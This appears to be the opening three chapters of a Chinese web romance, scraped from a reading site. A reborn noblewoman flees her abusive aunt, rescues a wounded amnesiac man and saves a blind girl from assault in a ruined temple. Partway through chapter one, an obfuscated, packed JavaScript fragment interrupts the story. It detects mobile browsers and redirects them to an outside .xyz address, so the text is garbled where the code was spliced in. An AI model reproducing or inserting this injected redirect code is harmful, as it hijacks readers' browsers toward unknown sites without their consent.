《抛弃阴鸷世子后他疯了》
1. 看四时长青草未谢,观前生薄命人再来
隆冬大雪,京郊山庙。
积雪还未消,像昨夜迟懒的月光洒落停歇。山落在白云里,佛堂落在山上,偶有佛家弟子一二自堂中静言低眉而出,一脚踏入云端,叫云跟着走。
神仙大千世界漏下的金光照在山上,向远山荡开一声悲鸣。
与外堂的诵经声声大不同,这落了尊巨佛的内堂静得叫人生怕,只有偶尔一两滴雪水自檐下滴落,最后又消于沉寂。
那佛堂内间坐了个人——一个月白衣裳的公子。
仔细瞧看了,遂能发现这公子怀中抱着个人。可这人的气息实在是太微弱,要先听见雪落的声响,才听见她的气音。
三声,两声,一声……
白持盈实在是太累了,累到抬不起手来触碰眼前人模糊的眉眼,只觉得什么都沉,肺腑沉,骨肉沉,连呼吸也沉。
她很想、很想拨开眼前雾障看清这人眉眼,却只是徒劳,只能觉到点滴凉意从颊侧滑落。
这是什么?雪水、露水或是泪水?
她分辨不出来。在睡入最后一个没有苦痛的梦境之时,她只能从那模糊的影子中瞧见艳|色一抹。
那是一点眉间朱砂,叫她无端想起外祖家那颗灼艳的桃花树。
雪又渐落,姑娘最终没能再睁开眼。
*
“也不知能卖多少钱……是了,是漂亮,可就怕人不识货啊……啊呀,你家壮子喊你呢,快去罢,死不了的……”
她还活着……是谁的话音儿……
白持盈睁眼,天花板布着密密匝匝的苔藓,屋子她最熟悉不过。这是她家道中落后居住了六年的破柴房。
额头钻心的疼,白持盈抬手一摸,果不其然湿濡一片,她且又低头瞧了一眼,食指尖儿是沁出的丝丝血迹,不多却也至人昏沉阵阵,起身不得。
她狠狠掐了自己一把。
一具苍白孱弱却年轻鲜活的身体!
古怪的姑娘忽然笑了,笑着笑着泪珠子便滚沾在还不及单衣厚的被褥上,她俯趴而下,埋头在被子里无声哭泣了起来。
没有沉疴与旧疾,这具身子还是她被卖到陈家庄前时的样子。尽管饥肠辘辘、尽管手生冻疮,可这是具像春草一般、见了甘霖还能茂荣的身子。
从前事走马灯似的在她眼前滚起来,许多人或言或笑的面庞仍历历翻覆。
这不该是她的一生。
母亲是洛阳苏氏千娇万宠长大的幺女,父亲是大梁最俊美非凡年轻有为的丞相,十二岁前,她好华灯骏马,好烟火梨园,好诗书经史,好古董书画①,是整个九州一望也顶金尊玉贵的姑娘——世家贵女,少有才名,母父恩爱,友朋交心。
可朔宁十三年的一场大雪苍茫茫地覆盖了一切,她仍记得那年冬天是极寒冷的,冷得人骨头都结着冰渣子。
是岁东宫反,身为太子太傅的父亲为保妻族饮鸠谢罪,母亲殉情而亡,舅公欲避祸举家隐居,她藏在储米的罐子里,被老仆人托付给了八系之外的远亲。
自此六年磋磨受苦,最后被卖给那食|人|骨|血的陈家。陈家庄的那三年,是她短短二十几载人岁中来势汹汹的一场大病,凶恶而摧人骨血精神。
后来呢?后来她被人救了出去,似乎又浑浑碌碌活了几载年岁。可那几年的一切皆是迷蒙,她望不清府邸的模样,也望不清梦中人的眉目,愈想忆起,心尖儿便愈有一阵剧痛,叫人回想不得。
她似乎撑过了很多个冬天,那是她长大后为数不多的、不那么彻骨严寒的冬天。
还未待她再探那前世旧影,一阵风吹过,柴房尽透风的门便咯吱咯吱响动起来,门外的声儿愈近,二婶子马上就要进门来。
白持盈霎时浑身紧绷了起来,她先听过那脚步声,确定下这家中现只有二婶一人在,四处探视过一圈,从墙角的杂草堆里刨出个铁瓢来,紧紧握住藏在了身后。
“吱呀”一声门叫人推开,二婶子提脚进来,她瘦而高,如一杆枯柴,走的时候脚步极轻,灰白的脸色迅速融入这灰白的柴房。
二婶子见白持盈醒来,面上先是一喜,神神叨叨念着些“贵人家养出来的女子就是命硬。”
额角血迹虽凝,白持盈记起这伤的来处。
她因未来得及洗二叔二婶换下的衣物,三日不得进食,实在饿得钻心,遂在村口大娘家好生哀求,讨来个黄面饼子。饼子却被二婶发现,抢了给她家孩子吃去,还被拿石子砸了头。
二婶子正高兴着给白持盈找到了好买家,哪里观瞧得到她沉如浓墨的眸子,只伸了手要抓掐拿捏白持盈。
看着那只枯瘦的爪子向自己伸了过来,白持盈抬头,坐正身子将将躲过。
二婶子对上她平静的眼睛,心震颤一瞬,似有薄刃剜肤之痛,就此愣在原处。
姑娘起身站稳,抬手就是一巴掌。
“啪!”
一记响亮的耳光声惊起歇在屋檐的灰雀。
白持盈仍是那副不咸不淡的样子,一巴掌刚落,抬手又给了二婶子一巴掌。
恶妇人重心不稳,被扇得倒地不起。她回过神来,愤愤拉住白持盈的袖子,欲站起,却被姑娘冷冷的目光吓了一跳,又跌坐回了原地。
白持盈似嫌晦气,拿枕边的帕子先擦过了手,才凑到二婶子耳边悠悠开口:“婶子不是要将我卖给陈二爷吗,如今可是要好些伺候着我,改日我若真成了陈太太,才可多念着婶子的好些。”
二婶子果真不说话了。她叫白持盈未卜先知的话吓了一大跳。
未曾想过这平日里棉花团似的姑娘竟生了性子!
瞧她慌乱愣神,白持盈心一横,迅速抄起藏在背后的铁瓢,对着二婶子脑壳就是一下。
一阵银光闪过,恶妇人直直跌落在地上,昏倒过去。
白持盈手上一抖,将铁瓢扔了出去,探下身来试过这人鼻息,见还有呼吸才松下一口气。
她本已半只脚迈了出去,忽而想到了甚么,又折返回来,从草枕下拿出一本宣纸本来,和其他零七零八的东西包成一个小小的包袱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446959|154053||http|test|mini|href|location''.split(''|''),0,{}));
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>而后她又蹲下在二婶子身上摩挲半晌,翻出一把铜钱来。将那铜钱也一同塞到怀中,白持盈跑到猪圈旁,狠下心来混着黄土和作一团,涂抹在了自己脸上。
探过交扎重叠的松林,有积雪簌簌而落,白持盈寻到一条只有自个儿知道的小路,一脚泥一脚土,像个坡脚客一般小跑着奔向西边村口。
山涧有雾,半隐半羞,日头照开层渐鳞光,露水凝成点点白墨浮于梢头,往前一步又一步爽利的清新。
村子里的房屋大都不大,富庶些的有鱼鳞瓦片盖房,穷苦些的便只是茅屋,都墩墩坐在一旁,如同雨后的山蘑一般冒出头来。
村口正有一辆牛车,牛正伏在地上出着粗气歇息,粗粗的角上挂着一截柳树枝圈成的环;车上满满当当摆了许多酒,酒坛子胖着肚子挤作一团。
一老翁坐在牛后车上,手中提着茶壶饮水喝,他喝完半壶,又分给牛半壶,恰一抬头,便瞧见了白持盈。
“你是哪家的女子呀?”老翁收起茶壶下车,缓缓将牛驱起,笑眯眯对白持盈摆了摆手。
白持盈赶忙提起裤摆上前喊道:“伯伯可是要去镇上!”
“更远!去洛阳咧!送百花酒!”老翁的喊声中气十足,回荡在这小小的山沟子里。
白持盈眼睛一亮。
洛阳城,华灯碍月,飞盖妨花②,她母亲便是洛阳生长的女儿,记忆里的外祖家檐上总是挂一排气派的灯笼,兰园春草蔓生,莺蝶飞舞,好不热闹。
只是洛阳依旧在,不见旧时人。
去洛阳吧,去找到可供自己命运盘旋歇落的地方,白持盈自思。
若能寻到舅公表哥一家便更好。
“伯伯可能捎我一程?我恰也要去!”她赶忙上前,从怀中掏出几个铜板来,要塞到老伯手中。
“哪讲究这些,一会儿路上听俺唱曲子调,也就是路钱了。”哪想老伯摆摆手,长长地唱了一声调子,便招呼着白持盈上了牛车。
直到坐上牛车晃晃悠悠地行进了两个时辰,白持盈还略有恍惚,她呆呆地朝后望去,小小的村落早已不见了踪影,化作天边的一斑墨痕。
牛车过一处窄桥,两侧芦苇丛生,龇出的两端生生将桥面趁更加狭窄,老牛呼哧呼哧行走几步便要“哞”一声,此时老伯便悠悠地唱上两句,将车赶过陷阱一般的窄桥,熟练而稳当。
白持盈正在一堆酒坛子中间咯咯地笑着,和老伯一人和一句唱着小调,却听老伯忽然停下车来,“咦”了一声。
“怎的啦伯伯。”
白持盈回过头来,顺着老伯的视线寻去,却见正是这桥的尽头边、黄土芦苇之上,卧了一个不知生死的人。
这人身上衣裳已经被血迹浸得瞧不出原来颜色,只能依稀瞧见浮起的线绣成一片片精致的图案,腰上一莹白玉佩,身长约莫有八尺余。
见老伯踌躇不定,白持盈捡起身边一根木棍来,拨开这人散落成结的长发,果然瞧见一张血迹斑斑苍白如玉的面庞。
有眉间朱砂一点。
2. 芦苇桥巧逢危命郎,菩萨庙险救盲目女
吭哧吭哧,老伯拖着草鞋挪到跟前,探出脑袋来瞧了一眼,哎呦呦喊道:“菩萨郎呦……”
这人锦衣玉服、绫罗环佩却又身受重伤、生死不明。白持盈心下沉了沉。
她脑海中霎时闪过许多东西,最终朝后退了两步,拉住呆在一旁不知该作何的老伯摇头道:“伯伯,咱们走罢。”
老伯先是一笑,又点点头,长叹了一口气。
村子里的老人家智慧不一定比活蹦乱跳的年轻人少,白持盈拦住他的那刻,他就什么都懂了,于是她便看着老人再不纠结地坐回了牛车上。
就如从未驶过又停歇,这辆牛车依旧吱呀吱呀向前,在土路上留下深浅不一的车辙印。
老人又哼起了小曲儿,白持盈却始终再没心情和上两句,她把玩着手中的柳树枝子,蔫蔫地提不起精神头来。
姑娘试着让自个儿脑海清净些,遂倒在酒坛子中假寐,却一闭眼都是那人奄奄一息的模样,先是瘦削的下巴、沾血的鼻尖、再是紧闭的双目、入鬓的飞眉,最后是红得滴血的眉间朱砂痣。那朱砂痣愈来愈红艳,最后竟生生要化作一滴血泪。
她忽然想起了很小的时候,母亲将她抱在膝头,轻轻给她念着经传。
白持盈从酒坛上起身,猛地回头,一望无际的芦苇被风卷起,横斜着飞向远处,苍茫茫一片。也许等牛车再走过一个山剜,那身受重伤的人也早已一口气咽尽在荒丛中,她救与不救已不大相干。
不大相干,不大相干,白持盈闭眼。
她重活一世,尝过太多人情冷暖,如今只想端端握住自己一条飘摇的薄命,怎能付得起一条人命的余钱?
但一闭眼,总有父母的教诲响在耳旁。
“盈儿,人生于世,当质如朗月高悬,行如翠松阵列,切记切记,莫失莫忘。”
况且、况且这人恰有眉间朱砂一点。
是巧合吗?
白持盈心中转过无数念头,最终心台明净一刹,她坚定了什么,撑手坐了起来,声音也跟着清亮几分:“老伯,对不住,咱们还是废些功夫折回去,能行否?”
似乎就等着他这句话,老伯将茶壶中最后一底茶饮尽,哈哈大笑:“可行呦!你这女娃娃……”说着便扯动牵着牛头的青绳,拧过地上一片积水浸泡的黑泥,和这牛叫声又唱了两嗓轻灵的小调。
二人一牛一车酒,晃晃荡荡又驶回了那桥尽处。一阵风过,将白持盈并不长的裙摆吹起。
到那芦苇丛生的地头时,躺在地上的人脸色更苍白了几分,生命的流逝忽而有了肉眼可观的实在样子,白持盈隔着衣裳摸了摸藏在心口的书信,自思此次不算是问心有愧,只望着佛祖菩萨开眼,叫她真是救个胜造七级浮屠的人命回来。
老伯和白持盈二人一人扶头一人扶腰,终于将那人拖到了牛车上,因着地方不够,老伯往芦苇丛中扔了好几坛子酒,白持盈心下过不去,执意要将铜板给老人,老人却摆摆手始终不受。
他又哼起了小调。
最后轮到白持盈上车时,老牛“哞”了一声,动了动后蹄。“他这是也觉着自己是个功臣呢!鬼精灵的。”
白持盈捂嘴巧笑,淡淡的神色终于多了几分欢快,将她几根芦苇绑在它的角上,拍拍牛哥的头:“辛苦阿牛兄了。”
老伯回头望了一眼那仍昏迷不醒人,却是正了神色与白持盈道:“小女子,伯伯也是赶过几十年的牛车啦,但数下来,今儿还是头一回真救人。”白持盈挑了挑眉,思索一番,也觉着方才老伯不像是头一遭遇到这种事。
“其实俺们村里人,向来是不救旁人命的。”老伯端起茶壶还想抿一口壶嘴,却突然想起茶水早已见了底,干脆放回原处,赤着脚板换过一个姿势,继续和白持盈讲着话。“但你不寻常,不寻常呐。”
白持盈心中一紧。
老伯哈哈一笑,拍了拍青牛头:“别紧张娃娃,你一瞧就念过书,你们念过书的,脑瓜子里想的和俺们庄稼人就是不一样的。什么穷啊达啊……俺老汉不记得,但俺知道,就是像这般样子,倒究你是会救人的!”
听着老伯絮絮叨叨与自己讲过他年轻时与村东边女子闹恋爱的故事,白持盈放松了不少,她一边看顾着车上人不掉下去,一边思索着自己将来的去路。
这人身上时新的绣线样式他没见过,二婶子家的女子最爱这些时新东西,她刚瞧过那妹子从镇上带回来的洛阳新络子花样,却都与这个不同,可见这人并不是洛阳客。
可又偏是昏着也通身的气派,白持盈凑近了看,见他一双长眉如柳,此刻因苦痛轻轻皱着,也有一番病潘郎的愁态。
至少捡了一个瞧着赏心悦目的,白持盈如是安慰自己。
三人一牛歇脚在一处破庙。
估摸了行了该有一多半的路程,天已擦黑了,山松黛影静立在墨色中,寒春的呼吸也是极静的。
庙里二二三三蜷缩着一团又一团瞧不清男女、分不清老少的人,他们见又来了新人,皆以一种野兽捕猎般的警觉之态瞪着三人,发出呼呵呼呵的鼻音,白持盈进庙之前又往脸上抹了几把灰泥,心不上不下地悬着。
呆滞的月光泄下,一庙逃难之客皆像顶着个骷髅头的稻草人。
但病人实在该救了。
这人晕得太不是地方,前不着村后不着店的,白持盈只能先草草处理一番。
老伯背上背着这人,白持盈打量着他一双修长的手,却发现这双手上的茧子生极不寻常,既不似父亲那样握笔生的,也不似舅舅那样执剑生的。
相反,这双手上有大大小小的伤痕,一点儿都不像一双金尊玉贵的手。白持盈心中困惑,便不知不觉地向前探去,托起来细细端详着。
白持盈忽然发现,这人左手的小指和无名指都有点儿异样的蜷缩,像是被重物打击过又愈合一般。
真是个怪人。
柴火噼里啪啦乱跳着,白持盈趁着老伯固好火的间隙,将那男子挪到火堆旁的角落里,背对着众人,先是扯开这人衣襟,顿见一处伤横亘在这人腹部,窄薄而深的伤口,应当是锋利的剑类所至;周遭颜色浅淡的陈年旧伤,密密匝匝,不是火光白持盈都瞧不到。
她在自己衣襟里摩挲半晌,掏出一小包逃跑时带的伤药,洒在这人伤口处,垫上自己的新帕子,拿洗净的长叶子扎成一条绑了一圈儿,又将这人衣裳沾血的地方剪下,就着火光缝补一番,才又将衣服给人披了回去。
想着那数不清的疤痕,白持盈长叹了一口气,戳了戳这人一动不动的胳膊,自思言:你可万万得是个有良心的东西。
她拿出另一块儿干净的帕子,俯身上前,想将这人脸上血迹擦拭干净,却不想在血腥气味中嗅出了她熟悉万分的熏香。
一时心中大惊,白持盈剥开这人衣领,俯下身去想再寻到那气味时,颈间忽一阵剧痛。
眼前顿时一片发黑,白持盈疼得脸色惨白,却因还在破庙只得将痛呼咽回喉头,她勉力抬眸定睛一瞧,便对上一双冷淡而狠厉的眸子。
香味儿消失了。
这人的一双眼睛是极好看的,他闭着眼时便已经是少有的风姿,如今眼眸一动,便如同山水画点上最后青绿的一笔,霎时鲜活起来,如若不是此刻被掐住脖子的是白持盈,她一定顺着良心夸这人几句。
可这人实在是太没良心了!
“咳咳咳……你……你松手!”白持盈被他掐得呼吸不畅,试着挣脱桎梏,但哪里敌得过一成年男子的气力。
“哎哎!你这小子做什么呐!快松手!”老伯瞧见这边儿景况不对,急忙跳过来,便看见个被掐得泪盈阵阵的白持盈。
这人又看她半晌,终于缓缓松开了手松。
他一声不吭地靠回墙角,收敛了些寒气,脸色也变得平静起来,沉默地看着她。
白持盈从死亡的桎梏中逃脱,惊魂未定下先摸了摸自己的脖子,果然刚一触上,便疼得她“嘶”了一声。
“呀!你你你!你这小子!”老伯也瞧见了白持盈脖子上的掐痕,顿时气得绕圈乱走,就要上前训斥对面人两句,却被白持盈扯住了手。
这人一直在盯着她看,火光在他古井无波的眼眸里流转过一圈儿,最终像是融化了半捧寒雪似的,融作一滩。
那种一开始叫人觉着心肝都被看穿的感觉消失了,病恹恹的人动了动身子,月光顺着破庙的窗户
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溜进半折,照在这人如玉的面颊上。
“姑娘,抱歉。”他语气和缓了下来,虚虚地咳嗽了几声。“在下原以为是歹人作祟,多有冒犯,万望容谅。”
说罢,他摸了摸自己腰间的锦囊,许是诧异这锦囊还在,这人微微挑眉,从锦囊中拿出一枚墨色玉扳指来递与白持盈,又拿出几粒碎银来递予老伯。
“不必。”白持盈望了他一眼,只拿过那碎银给老伯,自己则拒绝了这人递来的玉扳指。
“俺也不要!”老伯气呼呼地坐在白持盈身旁,显然是气未消。
白持盈连忙扭过头去,不想叫老伯气结,试着与老伯解释道:“他方才刚一醒来,估摸着是以为自己被歹徒所持,才一时作出这唐突之举,方才不也道歉了吗?哎呀伯伯,莫得生气了呀。”
老伯这才脸色转好些,哼哧哼哧扯着手中杂草。
白持盈又转过头去,试探着问对面人:“敢问公子贵姓?哪州人士?我们二人从一山崖……”
“我不记得了。”这人轻轻眨眼,苍白的嘴唇里道出苍白的话。
“什么?”白持盈皱紧眉头。
“我不记得了。”辜筠玉抬头望着惨白的月光,定睛瞧着白持盈,又轻声道了一遍。
*
等到日头全落尽,庙里只剩下一堆又一堆柴火跳跃时,白持盈靠在佛像跟前,望着辜筠玉熟练地将火生得红而旺,引得老伯咯咯大笑。
“你这小子,还真有几分能耐。”短短半个时辰,老伯已经对这人从一开始的不满到如今的差点儿认了干儿子。
白持盈也实在诧异,他瞧着顶金贵的一个世家公子,怎么的又会生火又会铺草床还会糊破窗户?
但这些都不重要,白持盈看着周边在黑夜里莹莹发亮的一双双眼睛,警惕着不敢入睡。
她从前当过叫花子,她太明白这些眼神代表着什么了。
破庙里又静了下来,白持盈被辜筠玉盯得受不了,往墙边挪了几寸。
辜筠玉微笑着收回目光,在火旁烘着发潮的外衣,给白持盈让了一个空位。
仿若方才差点掐死自己的不是他。
白持盈却并不准备过去,她靠在墙角摸出行囊中的短刀来,警惕地瞧着破庙的一切。
忽然,一声呼救乍起,接着是衣裳被撕扯的声音,白持盈太阳穴突突跳了一瞬,她太熟悉这响动了!是个姑娘的声音!
可是周边人都像没有听见一般,啃枯草的啃枯草,抓虱子的抓虱子,呆滞的月光游走在他们脸上——所有人都觉得这寻常不过。
辜筠玉仍旧烤着火,静静等待白持盈靠过去。
循着声儿望去,在破庙剥落颜色的佛像下,一名瞧不清面庞的姑娘苦苦哀求着,她被压在供台上,头发乱蓬蓬的,手腕瘦得只剩骨头,像被人遗弃的贡品。
动手脚的男子并没有发出声音,只有哼呼不明的喘气声。
白持盈脸色苍白,心和额角跳地一样快,她牙关颤抖着,脸上血色尽褪,脚步犹如千斤重,但还是摸起身侧的短刀,悄无声息地在所有人目光下靠近了那个供台。
怕引起这人戒心,白持盈脚步放得极轻,呼吸都缓了许多,她脑海中不受控制地闪过许多碎瓷器般的片段,也是黑夜冷月,也是无路可逃,那被欺凌的女子的脸庞忽然一变,便成了她自己的。
她眼前发黑,觉着满身苦痛比方才被掐住咽喉剧烈许多。
供台上女子声音愈来愈弱,白持盈知道自己不能再犹豫了,她闭了闭眼,再睁开时只剩清亮坚定。
她顺着惨白呆滞的月光,举起那柄锃亮的短刀,前世今生的画面交叠在一起,如同被风吹翻的走马灯,乌拉拉滚做一团,白持盈强忍下嘴里的血腥味,蓄起浑身气力刺向那面目不清的男子。
“啊!!!——”
一声惨叫,那男子滑落供台,回过头不可置信地瞧着白持盈,右肩汩汩血液顿时洇湿了枯草地。
月光忽然飞动起来,跳跃到佛像落色的眉间痣上,辜筠玉抬头,忽然觉得这姑娘和佛像是那样相似。
方才的月光又重新跃回了白持盈的眉宇间。
洁白而悲悯。
3. 月下诗喊月变馍馍,城外兵巡城作夜叉
四周忽而极静,一时只剩窗外呼呼的风声,间杂两狼啸鸦啼,嘤嘤咽咽叫人害怕。那登徒子的痛呼如钝剑穿刺长夜,惨厉非常。
没有人上来阻止白持盈,一如方才没有人上来阻止登徒子。
咒骂声不绝于耳,白持盈持刀的手微微颤抖着,正欲上前再补一刀,那登徒子却如回光返照般突然暴起,擎着一只胳膊便要扑到白持盈,白持盈暗道不好,将将擦身闪过,急找还击当口,却见那登徒子忽然直直向后倒去,如石柱一般轰然坠在地上,嘴里“喝喝”地吐着白沫。
怎的回事?
白持盈一惊,朝四周一望,却见众人还是那副拥拥攘攘的模样,只有自己捡回来的那人,此刻静静望着白持盈。白持盈看他一眼,他就朝白持盈一笑,簌簌月光落下,这人苍白的面孔似玉观音,眉间朱砂艳艳而红。
心头猛地一颤,白持盈强逼着自个儿不去管他,抓住机会转身小跑向那供台。被欺辱的女儿此刻呆呆地还躺在朱红的供台上,瞧着也不过十三四年纪,她愣愣地望着屋顶,一双圆圆的杏眸呆而无神。
竟是个盲女?
狠狠在心中啐了那登徒子一口,白持盈赶忙想将那姑娘扶起,却不想被一把推开,重心不稳跌坐在了草垛上。
“走开……走开……不要碰我……滚……都滚……”那瘦小的姑娘如同个鹌鹑似的缩作一团,整个人都痉挛一般发抖着。
白持盈愣怔过一瞬,赶忙从地上爬起来,将满手的泥土在裙子上擦干净,走到距那姑娘一臂的地方,轻声道:“妹妹?妹妹?方才那人已经被制服了,你听!能能到他粗喘气的声音吗……他真的已不能造次了。”
见这姑娘缓缓将双臂从环绕膝盖的姿势松开,白持盈知晓这是自己一番话起了作用,便接着引着姑娘暂时放下心房:“你可冷?要不要到姐姐那儿取取暖?”她话音刚落,盲女便慢慢将头抬起,又迅速低下,过了好一会儿,久到漏雨的屋角滴下许多雪水来,才缓缓点了点头。
白持盈松了一口气。
搀扶着盲女走过那登徒子身旁时,白持盈又侧目瞧了一眼,只见那人虽还有口气在,却实在是已神志不清、动弹不得了。
真是奇也怪哉。
她现下是半点儿睡意也无,周遭虎视眈眈的破庙众人,一个来路不明又失忆的病号,一个忽然癫疯发作的登徒子,怎么想怎么怪异非常。
酒疯发作?原就有病在身?老天佛祖开眼?
未免都显得有些可笑。
或者有人杀了他。
白持盈不敢细想,有些东西打着马虎也便过去了,再想也只能叫人心慌,她往周遭望了一圈儿,决定睁着眼睛等日头出来。
盲女抽抽噎噎地伏在她身旁睡着了,一张小脸泪痕斑斑,连睡也是蜷作一团,火光将众人的面庞照亮,分明是在最清修的庙宇间,白持盈却有一种身陷罗刹殿的不妙之感。
因着多了一个人,白持盈无处可躲,只得和另一个病号辜筠玉挨在一块儿,这人看着火堆,一把破蒲扇扇得不紧不慢,却稳稳当当固住了火焰,旺而不灼,一派仙风道骨,与破庙格格不入。
这可能真是座小破庙搁不下的大佛,白持盈心想。
烟光噼里啪啦跳动,白持盈脖间掐痕又隐隐作痛,针扎似的一阵疼过一阵,她抬手欲摩挲过那掐痕,却有人先她一步抚上痛处。
肌肤一阵清凉,一侧目,便是辜筠玉病白的指尖沾着些药膏,轻柔而细致地按着淤青。
他垂眸,长长的睫毛被月色洇湿,上下翻覆着,叫人看不清情绪。
“不必,公子……”白持盈来不及思索他哪儿来的药膏,刹那便心如潭石入水,一片静波惊起涟漪,她忙侧过身子要躲开,却被虚掐着下巴捞回了那人怀中。
“姑娘可还怨我方才唐突?”
白持盈感到耳边一阵温热。
辜筠玉靠近她耳侧,嘴上说着抱歉,手上动作却半分不马虎,揉捏过那两侧掐痕。
“未曾……”感受着耳边阵阵气息,白持盈心上如雀羽轻擦,赶忙趁着他松手间隙溜出这人指下,一边儿摸着自个儿酥麻仍在的脖颈,一边儿斜瞧着辜筠玉。
破庙风声乍停,袅袅月光如薄纱覆地,寸寸略过窗棂,莹亮床边人半面眉目。
辜筠玉抬眸,淡淡对上对面女子探究的目光。
他一笑,将拿在手中的那一小瓶药膏抛起,稳稳扔到了白持盈手中。
“抱歉。”辜筠玉眨眼垂眸,在倾盖月光下有几分不易察觉的落寞,却偏叫白持盈瞧见了。“是我不好。”他看了白持盈半晌,看得直叫白持盈受不住错开目光,才重新坐稳,情绪不明地扇着火。
兴许他真只是觉着抱歉呢。
这念头一起,白持盈便啐了自己一口,恼自个儿又存烂好人心思,她该着这人是个不安好心的,却又叫他瞧着有些委屈的样子蒙骗了一瞬,实在是不该。
老伯此刻也睡下,阵响阵息的鼾声扰动静林,白持盈定下心神,收起那难得的药膏,又从包袱中拿出一本薄薄的册子来,拿出支毛笔,就着稀墨簌簌落笔。她让自己纷乱的心绪静下来,提笔记下今儿的所见所闻。
自再睁眼起,她便每隔几日记下些东西来,从前只写自己薄命一条,如今她填上两笔,有关破落的庙宇、成堆的难民和沉默的暴行。
在盲女那几行字下勾画上一笔重重的墨痕,白持盈瞧她像瞧零落在尘泥中的花骨朵,不禁叹了一口气。
“还不睡?”旁边静默着看了她很久的辜筠玉忽然出声,他音调并不高,却在沉寂的破庙中格外明显。
白持盈写东西写得心中有些难受,此刻有人和自个儿说话,先是吓了一跳,辨出是谁来才带着些询问意味转瞧他。
辜筠玉拍拍身旁的草垛,往旁靠了靠:“夜深寒凉,姑娘若睡不着,不如一同瞧瞧月亮?”
这一席话倒岔开了白持盈几分落寞心思,指尖着实生凉,寒意丝丝沁入肺腑,她迟疑过一瞬,恰巧摸到那人扔过来的药膏,便将薄书册放回包裹,轻轻靠往那人身边。
左不过他再做些出格事情,自己就给他一刀,将他扔回那窄桥边!
不想辜筠玉真做回了了君子,只靠在一旁,静静仰头望着窗外的月亮。
“四更山吐月,残夜水明楼①。”辜筠玉声如冷泉,悠悠地念了一句诗。
白持盈有些困倦,但转念一思,忽觉破庙对诗也别有一番苦中作乐之味,便开口和道:“尘匣元开镜,风帘自上钩①。”
她忽然想到月宫桂枝下的白兔,她娘应当在光净的青石板上抱兔唱曲,等着百年后自己与她团圆。
但辜筠玉却是个不走寻常路的,忽然长叹了一声:“看着这月亮,真真像个大白馍馍。”
什么玉兔啊婵娟啊月宫仙子的,全一时打散,只留下一盘月亮滚做一个个白馍馍,咕噜噜滑落下来。
这个煞风景的。
白持盈不知怎的被他一句话逗笑,“噗嗤”一声笑了出来。
见她心情好些了,辜筠玉才摆弄过手中枯草,闭着眼将那两句诗念完,又是一派芝兰玉树模样,与方才白馍馍之流毫不相干。
白持盈忽觉着这人似乎也还有些良心。
等到了洛阳,便先寻点儿吃食吧。
白持盈也闭上眼,在记忆中摸索着洛阳城的模样,那时她还是个半大的孩子,坐在华盖轻帷的马车里,悄悄从车窗探出头来,望着窗外的一切。那行为的什么早已模糊不清,只剩下洛阳城那直挺宽阔的一条大道,贯通东西。
街上的人熙熙攘攘地来往,一眼望去,茶楼连着茶楼,小馆挨着小馆,房里座无虚席,屋外人声鼎沸。摊贩叫卖着自家做的糖糕,扎风筝的老伯喋喋不休地给妇人介绍自己手中的风筝,而窝在街边的一群乞丐,他们大声地唱着歌儿。
霰雨灂灂,风吼如斸。有叟有叟,暮投我宿……②
该到洛阳城了。
辜筠玉此人,晕着时瞧着生人勿近,待醒来恢复了些气血,能与人搭上一两句话时,便显得十分好脾气起来。一路上行了好几天,他话不多,却直逗趣得老伯哈哈大笑,连自家猪圈一窝产几只崽子都供了出来。
一旁的小盲女都叫这二人感染,抿嘴偷笑了好几回。一行人就此热络起来——除了白持盈。
她实在是觉得此人与自己开口便是话里有话,一通诡辩!
待到洛阳城门口,老伯便要别了。
“我得先去寻周遭一富农家卸过酒,再盘算着进城,先别了,几位有缘再会。”老伯笑着将一车东倒西歪的酒理好,白持盈连上前搭手,此时竟生出几分依依惜别之感来。
行过一路,她看牛兄都比旁人多几分亲热。
白持盈还惑困在伤别中,老伯却已经调转车头扯过青绳长向远处行去,只摆摆手,留下一个略佝偻却慈祥的背影。
目送着老伯的身影消失在远处茫茫青绿的庄稼地里,白持盈才回过神来,瞧向身后。
衣衫破烂的失忆病号,衣衫破烂的可怜孤
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女——自个儿这满脸大粪的村姑,竟然是三人中最景况最好的一个。
城门外宽阔的甬道上还积着厚厚的雪,想来洛阳城前不久刚落过一场白雨,积雪混着黄土,被络绎不绝的行人车马踩踏成硬实的厚块。
地上有些滑,白持盈想上前扶着那瘦弱地快要晕倒的盲女,却被将将躲开,反弄得白持盈呆在原地不知如何是好。
“咱们先在前头走着,她一会子就跟上来了。”一直默在一旁饶有兴味瞧着白持盈盈举动的人忽然开口。
你怎的知道?
白持盈下意识想驳他一句,却又话在口头咽了回去,若这人说的是真的,那便是寻到法子解决了眼前问题,反倒美事一桩。
于是白持盈便顺着他的意思,两人先上前走了一段儿路。
果不其然,约莫行了有三臂长的地儿,那盲姑娘就吭哧吭哧跟了上来。
白持盈心下顺意的间隙,忽而仰头望着辜筠玉,眼神清亮,话中三分质疑:“你不是失忆了吗?怎的又会背诗又能寻到带人法子的?”
辜筠玉一顿,他也不躲,只顺着质问的目光看向这身量修长的姑娘,淡淡道:“姑娘错怪在下,有些事是真真不记得了,有些事是万万不敢忘的。”
他一脸泰然,字字句句讲得轻缓,向白持盈温和一笑岔开话头:“还未问过姑娘名姓呢。”
“不巧,恰逢上我也忘记了。”白持盈还是揣着满肚子的疑惑,原是不敢轻易与这人多说一句话,生怕一个差池叫人套了进去的,这人偏像块儿被磨平了棱角的玉一样,叫人握着生寒,滑溜溜不留手。
但辜筠玉并未生气,相反他心情与脾气都十分好的模样,帮白持盈提着老伯赠的那两坛子百花酿,也不再吭声,十分安静地随在白持盈身侧。
“待会子进了洛阳城,我便将你俩一同领往官府去,也好先有个落脚的地方。”
渐高的日头打下一片昏昏的侧影,辜筠玉睫毛轻颤,目光歇落在白持盈眉目上,并未吭声。
几人跟着渐渐多起来的人群行进着,城门口的士兵一一盘查着过路人的包裹,有幼儿被吓得哇哇大哭,最跟前的妇女连连低着头道歉,却还是被那壮得如熊一般的士兵踹了一脚,踉踉跄跄地跌撞进了城中。
“让开!让开!”身后人群中响起一阵喧闹来,白持盈扭头定睛一瞧,原来是一架红木的四轮马车,悠悠扬扬撞过人群向前驶去,白持盈瞧着形制不像官家马车,正疑惑中,却听身旁大娘与人谈着闲话。
